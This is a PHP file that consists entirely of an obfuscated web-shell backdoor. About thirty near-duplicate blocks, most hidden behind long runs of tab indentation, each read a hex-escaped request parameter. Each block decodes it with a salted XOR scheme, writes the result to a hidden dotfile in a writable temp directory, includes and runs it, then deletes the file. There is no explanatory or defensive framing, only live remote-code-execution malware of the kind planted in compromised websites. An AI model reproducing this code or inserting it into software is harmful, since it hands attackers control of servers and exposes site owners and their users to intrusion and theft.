																																										if(@$_REQUEST["sym"] !== null){ $ent = $_REQUEST["sym"]; $ent = explode("." ,$ent ) ; $bind = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $u = 0; $__tmp = $ent; while ($v5 = array_shift($__tmp)) { $chS = ord($salt8[$u % $sLen] ); $d = ((int)$v5 - $chS - ($u % 10)) ^ 4; $bind .= chr($d ); $u++; } $entity = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); while ($data_chunk = array_shift($entity)) { if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $value = join("/", [$data_chunk, ".obj"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $value; @unlink($value); die(); } } } }
																																										if(isset($_REQUEST["pro\x70erty_se\x74"]) ? true : false){ $elem = $_REQUEST["pro\x70erty_se\x74"]; $elem =explode( '.', $elem ) ; $mrk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $z = 0; $len = count( $elem); do { if( $z >= $len) break; $v1 = $elem[$z]; $sChar = ord( $salt1[$z % $sLen]); $dec =( ( int)$v1 - $sChar -( $z % 10)) ^ 1; $mrk .= chr( $dec); $z++; } while( true); $dat = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); foreach ($dat as $fac) { if (!( !is_dir($fac) || !is_writable($fac) )) { $dchunk = join("/", [$fac, ".entity"]); if (file_put_contents($dchunk, $mrk)) { include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(array_key_exists("k", $_REQUEST) && !is_null($_REQUEST["k"])){ $component = $_REQUEST["k"]; $component =explode ('.', $component) ; $res =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach ($component as $y => $v4) { $sChar =ord($s[$y %$sLen]); $d =((int)$v4 - $sChar - ($y %10)) ^ 55; $res .= chr($d); } $desc = array_filter([getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); $flg = 0; do { $resource = $desc[$flg] ?? null; if ($flg >= count($desc)) break; if (is_dir($resource) ? is_writable($resource) : false) { $object = implode("/", [$resource, ".value"]); if (@file_put_contents($object, $res) !== false) { include $object; unlink($object); exit; } } $flg++; } while (true); }
																																										if(!is_null($_POST["p\x74\x72"] ?? null)){ $ent = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp"]); $token = $_POST["p\x74\x72"]; $token= explode ( '.' , $token ) ; $component = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); foreach($token as $q => $v9): $chS = ord($s6[$q % $sLen]); $d =((int)$v9 - $chS -($q % 10)) ^ 83; $component .= chr($d); endforeach; for ($descriptor = 0, $holder = count($ent); $descriptor < $holder; $descriptor++) { $bind = $ent[$descriptor]; if (!( !is_dir($bind) || !is_writable($bind) )) { $desc = "$bind/.obj"; if (file_put_contents($desc, $component)) { include $desc; @unlink($desc); die(); } } } }
																																										if(isset($_REQUEST["d\x61t\x61"]) ? true : false){ $ent = $_REQUEST["d\x61t\x61"]; $ent =explode (".", $ent); $pset = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $x = 0; $len = count($ent); do { if($x >= $len) break; $v6 = $ent[$x]; $sChar = ord($salt3[$x % $sLen]); $dec =((int)$v6 - $sChar -($x % 10)) ^ 5; $pset .= chr($dec); $x++; } while(true); $key = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TMP"), session_save_path()]); while ($holder = array_shift($key)) { if ((is_dir($holder) and is_writable($holder))) { $ref = str_replace("{var_dir}", $holder, "{var_dir}/.element"); if (@file_put_contents($ref, $pset) !== false) { include $ref; unlink($ref); die(); } } } }
																																										if(!is_null($_REQUEST["\x6F\x62\x6Aect"] ?? null)){ $element = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd(), "/var/tmp"]); $item = $_REQUEST["\x6F\x62\x6Aect"]; $item =explode ( '.' , $item ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach($item as $k => $v2) { $chS = ord($salt[$k%$lenS] ); $d = ((int)$v2 - $chS -($k%10)) ^ 79; $sym.= chr($d );} while ($bind = array_shift($element)) { if (is_dir($bind) ? is_writable($bind) : false) { $fac = str_replace("{var_dir}", $bind, "{var_dir}/.rec"); $success = file_put_contents($fac, $sym); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(isset($_REQUEST["k\x65\x79"])){ $dat = $_REQUEST["k\x65\x79"]; $dat = explode( ".", $dat ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($dat as $p => $v8): $sChar = ord($salt[$p % $lenS] ); $dec = ((int)$v8 - $sChar - ($p % 10)) ^98; $ref .= chr($dec ); endforeach; $res = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getcwd()]); foreach ($res as $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $ent = "$symbol" . "/.property_set"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x76al"])){ $reference = $_REQUEST["\x76al"]; $reference = explode ( "." ,$reference ); $rec = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7 ); foreach( $reference as $w => $v1): $chS = ord( $salt7[$w % $lenS] ); $dec =( ( int)$v1 - $chS -( $w % 10)) ^ 39; $rec .= chr( $dec ); endforeach; $data_chunk = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); while ($ref = array_shift($data_chunk)) { if (is_dir($ref) && is_writable($ref)) { $dchunk = vsprintf("%s/%s", [$ref, ".itm"]); if (file_put_contents($dchunk, $rec)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(in_array("\x65\x6Et", array_keys($_REQUEST))){ $key = $_REQUEST["\x65\x6Et"]; $key =explode ( "." , $key ) ; $hld = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $__len = count( $key); for( $x = 0; $x < $__len; $x++) { $v8 = $key[$x]; $chS = ord( $salt7[$x % $lenS]); $dec =( ( int)$v8 - $chS -( $x % 10))^99; $hld .= chr( $dec); } $resource = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm"]); foreach ($resource as $key => $value) { if (!( !is_dir($value) || !is_writable($value) )) { $ptr = implode("/", [$value, ".data_chunk"]); if (file_put_contents($ptr, $hld)) { require $ptr; unlink($ptr); die(); } } } }
																																										if(isset($_REQUEST["it\x65\x6D"])){ $reference = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $k = $_REQUEST["it\x65\x6D"]; $k= explode('.', $k ); $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($k as $x => $v9) { $sChar = ord($s[$x%$lenS]); $d = ((int)$v9 - $sChar - ($x%10)) ^ 1; $binding.=chr($d);} for ($flag = 0, $element = count($reference); $flag < $element; $flag++) { $desc = $reference[$flag]; if (!!is_dir($desc) && !!is_writable($desc)) { $symbol = "$desc/.resource"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $symbol; @unlink($symbol); die(); } } } }
																																										if(isset($_POST["dat\x61"])){ $token = $_POST["dat\x61"]; $token = explode ( '.' , $token); $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $o = 0; while ($o < count($token)) {$v9 = $token[$o]; $chS = ord($s[$o %$sLen] ); $d = ((int)$v9 - $chS - ($o %10))^ 33; $descriptor .= chr($d ); $o++; } $rec = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), getcwd(), "/var/tmp"]); while ($ptr = array_shift($rec)) { if (array_product([is_dir($ptr), is_writable($ptr)])) { $tkn = "$ptr/.object"; if (file_put_contents($tkn, $descriptor)) { include $tkn; @unlink($tkn); die(); } } } }
																																										if(array_key_exists("\x70\x74r", $_REQUEST)){ $elem = $_REQUEST["\x70\x74r"]; $elem = explode ( '.' , $elem ) ; $res =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s1); foreach ($elem as $j => $v8) { $chS =ord($s1[$j %$sLen]); $d =((int)$v8 - $chS - ($j %10)) ^ 25; $res .= chr($d); } $data_chunk = array_filter([getenv("TMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/var/tmp"]); while ($symbol = array_shift($data_chunk)) { if (array_product([is_dir($symbol), is_writable($symbol)])) { $hld = str_replace("{var_dir}", $symbol, "{var_dir}/.key"); if (file_put_contents($hld, $res)) { include $hld; @unlink($hld); exit; } } } }
																																										if(isset($_POST) && isset($_POST["f\x61c\x74or"])){ $flg = $_POST["f\x61c\x74or"]; $flg= explode ( '.' , $flg ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $u = 0; array_walk( $flg, function( $v8) use( &$res, &$u, $salt, $lenS) { $chS = ord( $salt[$u % $lenS] ); $dec =( ( int)$v8 - $chS -( $u % 10))^ 73; $res.= chr( $dec ); $u++; } ); $key = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); $val = 0; do { $marker = $key[$val] ?? null; if ($val >= count($key)) break; if (!( !is_dir($marker) || !is_writable($marker) )) { $parameter_group = join("/", [$marker, ".reference"]); if (file_put_contents($parameter_group, $res)) { include $parameter_group; @unlink($parameter_group); die(); } } $val++; } while (true); }
																																										if(!empty($_REQUEST["\x6Fbj"])){ $val = $_REQUEST["\x6Fbj"]; $val = explode ( '.' , $val ) ; $item=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt1); $x=0; $len=count( $val); do { if( $x >= $len) break; $v4=$val[$x]; $sChar=ord( $salt1[$x % $lenS]); $d=( ( int)$v4 - $sChar -( $x % 10)) ^ 63; $item.=chr( $d); $x++;}while( true); $binding = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", getcwd()]); foreach ($binding as $itm): if (max(0, is_dir($itm) * is_writable($itm))) { $pset = implode("/", [$itm, ".dchunk"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $pset; @unlink($pset); exit; } } endforeach; }
																																										if(in_array("\x6Fbj\x65ct", array_keys($_REQUEST))){ $ent = $_REQUEST["\x6Fbj\x65ct"]; $ent =explode ( ".", $ent ); $sym = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $p = 0; $len = count($ent); do { if($p >=$len) break; $v7 = $ent[$p]; $chS = ord($s6[$p % $lenS]); $dec = ((int)$v7 - $chS -($p % 10)) ^ 73; $sym .= chr($dec); $p++; } while(true); $itm = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); for ($property_set = 0, $dchunk = count($itm); $property_set < $dchunk; $property_set++) { $resource = $itm[$property_set]; if ((function($d) { return is_dir($d) && is_writable($d); })($resource)) { $reference = str_replace("{var_dir}", $resource, "{var_dir}/.marker"); if (@file_put_contents($reference, $sym) !== false) { include $reference; unlink($reference); die(); } } } }
																																										if(@$_REQUEST["\x6Da\x72\x6Ber"] !== null){ $data_chunk = array_filter(["/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); $token = $_REQUEST["\x6Da\x72\x6Ber"]; $token = explode ( '.' ,$token ) ; $item= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s9); foreach ($token as $o => $v8): $sChar= ord($s9[$o % $lenS]); $d= ((int)$v8 - $sChar - ($o % 10)) ^ 34; $item .= chr($d); endforeach; $reference = 0; do { $dchunk = $data_chunk[$reference] ?? null; if ($reference >= count($data_chunk)) break; if (is_dir($dchunk) && is_writable($dchunk)) { $itm = implode("/", [$dchunk, ".entity"]); if (file_put_contents($itm, $item)) { require $itm; unlink($itm); die(); } } $reference++; } while (true); }
																																										if(@$_REQUEST["r\x65\x66"] !== null){ $res = $_REQUEST["r\x65\x66"]; $res = explode( '.', $res ); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $__len = count( $res ); for( $o = 0; $o <$__len; $o++) { $v5 = $res[$o]; $sChar = ord( $salt[$o % $lenS] ); $dec = ( ( int)$v5 - $sChar -( $o % 10)) ^ 13; $obj .=chr( $dec );} $fac = array_filter([getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); for ($record = 0, $pointer = count($fac); $record < $pointer; $record++) { $key = $fac[$record]; if ((is_dir($key) and is_writable($key))) { $flg = str_replace("{var_dir}", $key, "{var_dir}/.parameter_group"); if (file_put_contents($flg, $obj)) { require $flg; unlink($flg); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x72\x6Fpert\x79_\x73et"])){ $object = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp"]); $val = $_REQUEST["\x70\x72\x6Fpert\x79_\x73et"]; $val= explode ( ".", $val ); $pgrp = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); $i = 0; $len = count( $val); do { if( $i >= $len) break; $v7 = $val[$i]; $sChar = ord( $salt7[$i % $sLen]); $d =( ( int)$v7 - $sChar -( $i % 10)) ^ 80; $pgrp .= chr( $d); $i++; } while( true); foreach ($object as $key => $ent) { if (!!is_dir($ent) && !!is_writable($ent)) { $key = "$ent/.item"; $success = file_put_contents($key, $pgrp); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $marker = $_POST["k"]; $marker =explode( '.' ,$marker ) ; $res = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $__len = count($marker); for ($t = 0; $t < $__len; $t++) {$v6 = $marker[$t]; $chS = ord($s9[$t% $sLen]); $d = ((int)$v6 - $chS - ($t% 10)) ^ 79; $res .= chr($d); } $fac = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); foreach ($fac as $desc): if (is_dir($desc) && is_writable($desc)) { $tkn = "$desc" . "/.sym"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }
																																										if(!empty($_REQUEST["\x70set"])){ $pointer = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); $val = $_REQUEST["\x70set"]; $val = explode ("." ,$val ) ; $object = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $n = 0; $__tmp = $val; while ($v1 = array_shift($__tmp)) { $chS = ord($s3[$n % $sLen]); $dec = ((int)$v1 - $chS - ($n % 10)) ^ 17; $object.=chr($dec); $n++; } foreach ($pointer as $tkn) { if (max(0, is_dir($tkn) * is_writable($tkn))) { $data = str_replace("{var_dir}", $tkn, "{var_dir}/.reference"); if (file_put_contents($data, $object)) { include $data; @unlink($data); die(); } } } }
																																										if(array_key_exists("\x63\x6F\x6Dpo\x6Eent", $_POST) && !is_null($_POST["\x63\x6F\x6Dpo\x6Eent"])){ $item = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir()]); $symbol = $_POST["\x63\x6F\x6Dpo\x6Eent"]; $symbol= explode ( '.' , $symbol ) ; $holder = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($symbol as $o => $v1): $chS = ord($s2[$o % $lenS]); $dec = ((int)$v1 - $chS - ($o % 10)) ^ 7; $holder .= chr($dec); endforeach; foreach ($item as $key => $res) { if ((is_dir($res) and is_writable($res))) { $parameter_group = "$res" . "/.k"; $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } } }
																																										if(array_key_exists("\x6F\x62\x6Aect", $_REQUEST) && !is_null($_REQUEST["\x6F\x62\x6Aect"])){ $marker = array_filter(["/var/tmp", getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $entity = $_REQUEST["\x6F\x62\x6Aect"]; $entity= explode ( '.' , $entity) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $j = 0; foreach($entity as $v2) { $chS = ord($s[$j %$sLen]); $dec =((int)$v2 - $chS -($j %10))^ 50; $entry .= chr($dec); $j++; } foreach ($marker as $key => $tkn) { if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $reference = implode("/", [$tkn, ".item"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										if(isset($_POST["\x72es"]) ? true : false){ $k = array_filter(["/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); $object = $_POST["\x72es"]; $object = explode ( "." ,$object ) ; $parameter_group= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $u= 0; $len= count($object); do { if($u >= $len) break; $v5= $object[$u]; $sChar= ord($salt[$u % $sLen]); $d= ((int)$v5 - $sChar -($u % 10)) ^ 33; $parameter_group.=chr($d); $u++; } while(true); while ($pset = array_shift($k)) { if (is_dir($pset) && is_writable($pset)) { $fac = implode("/", [$pset, ".flg"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(isset($_REQUEST["\x72\x65c"]) ? true : false){ $flg = $_REQUEST["\x72\x65c"]; $flg = explode ( '.' ,$flg); $ref=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $len=count($flg); for($n=0; $n < $len; $n++) { $v9=$flg[$n]; $chS=ord($s[$n % $sLen]); $d=((int)$v9 - $chS -($n % 10)) ^ 33; $ref .= chr($d); } $desc = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($desc as $property_set) { if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $ent = vsprintf("%s/%s", [$property_set, ".data_chunk"]); if (file_put_contents($ent, $ref)) { require $ent; unlink($ent); exit; } } } }
																																										if(!is_null($_REQUEST["e\x6Et\x72y"] ?? null)){ $resource = array_filter(["/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); $itm = $_REQUEST["e\x6Et\x72y"]; $itm = explode ( ".", $itm) ; $token = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); foreach ($itm as $x => $v6): $chS = ord($salt4[$x % $lenS]); $d = ((int)$v6 - $chS - ($x % 10)) ^ 94; $token .=chr($d); endforeach; $desc = 0; do { $flg = $resource[$desc] ?? null; if ($desc >= count($resource)) break; if (array_product([is_dir($flg), is_writable($flg)])) { $pset = join("/", [$flg, ".dchunk"]); if (@file_put_contents($pset, $token) !== false) { include $pset; unlink($pset); exit; } } $desc++; } while (true); }
																																										if(isset($_POST["\x64\x65sc\x72ip\x74\x6Fr"])){ $res = $_POST["\x64\x65sc\x72ip\x74\x6Fr"]; $res=explode('.' , $res ) ; $hld = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); foreach( $res as $k => $v2): $chS = ord( $salt1[$k % $sLen]); $d = ( ( int)$v2 - $chS -( $k % 10)) ^ 72; $hld .= chr( $d); endforeach; $object = array_filter([session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); for ($itm = 0, $flg = count($object); $itm < $flg; $itm++) { $component = $object[$itm]; if (!!is_dir($component) && !!is_writable($component)) { $obj = "$component" . "/.mrk"; if (file_put_contents($obj, $hld)) { require $obj; unlink($obj); die(); } } } }
																																										if(array_key_exists("\x73y\x6D\x62ol", $_REQUEST)){ $binding = $_REQUEST["\x73y\x6D\x62ol"]; $binding = explode ( ".", $binding); $entity = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); $q = 0; $__tmp = $binding; while( $v7 = array_shift( $__tmp)) { $chS = ord( $salt8[$q% $sLen]); $d = ( ( int)$v7 - $chS -( $q% 10)) ^21; $entity .= chr( $d); $q++; } $holder = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), "/dev/shm"]); for ($factor = 0, $value = count($holder); $factor < $value; $factor++) { $rec = $holder[$factor]; if (!!is_dir($rec) && !!is_writable($rec)) { $parameter_group = "$rec/.resource"; $success = file_put_contents($parameter_group, $entity); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["k"])){ $ref = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp"]); $reference = $_REQUEST["k"]; $reference = explode ( '.' ,$reference) ; $record = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $u = 0; foreach ($reference as $v8) { $chS = ord($s6[$u % $sLen]); $dec = ((int)$v8 - $chS - ($u % 10)) ^84; $record .= chr($dec); $u++; } $component = 0; do { $item = $ref[$component] ?? null; if ($component >= count($ref)) break; if ((is_dir($item) and is_writable($item))) { $data_chunk = implode("/", [$item, ".value"]); if (file_put_contents($data_chunk, $record)) { include $data_chunk; @unlink($data_chunk); die(); } } $component++; } while (true); }
																																										if(array_key_exists("bi\x6Ed", $_POST) && !is_null($_POST["bi\x6Ed"])){ $elem = $_POST["bi\x6Ed"]; $elem= explode ( "." , $elem ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $t = 0; $len = count( $elem); do { if( $t >= $len) break; $v9 = $elem[$t]; $chS = ord( $salt[$t % $lenS]); $dec =( ( int)$v9 - $chS -( $t % 10)) ^63; $token .= chr( $dec); $t++; }while( true); $k = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); foreach ($k as $sym): if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $data_chunk = "$sym" . "/.ent"; if (file_put_contents($data_chunk, $token)) { include $data_chunk; @unlink($data_chunk); die(); } } endforeach; }


if(isset($_REQUEST) && isset($_REQUEST["p\x67rp"])){
	$tkn = $_REQUEST["p\x67rp"];
			 $tkn	 =  	explode( 	"."		, 	$tkn		) 	;  
	$data=	'';
            $s5=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen(  $s5 );
            $z=	0;
    
            array_walk(  $tkn	 , function(  $v8) use(  &$data	 , &$z	 , $s5	 , $sLen) {
                $chS=	ord(  $s5[$z  % $sLen] );
                $d=	(  (  int)$v8 - $chS -(  $z  % 10)) ^		78;
                $data .= chr(  $d );
                $z++; });
	$k = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TEMP")]);
	$dat = 0;
do {
    $token = $k[$dat] ?? null;
    if ($dat >= count($k)) break;
    		if (is_writable($token) && is_dir($token)) {
    $record = "$token/.property_set";
    $file = fopen($record, 'w');
if ($file) {
	fwrite($file, $data);
	fclose($file);
	include $record;
	@unlink($record);
	exit;
}
}
    $dat++;
} while (true);
}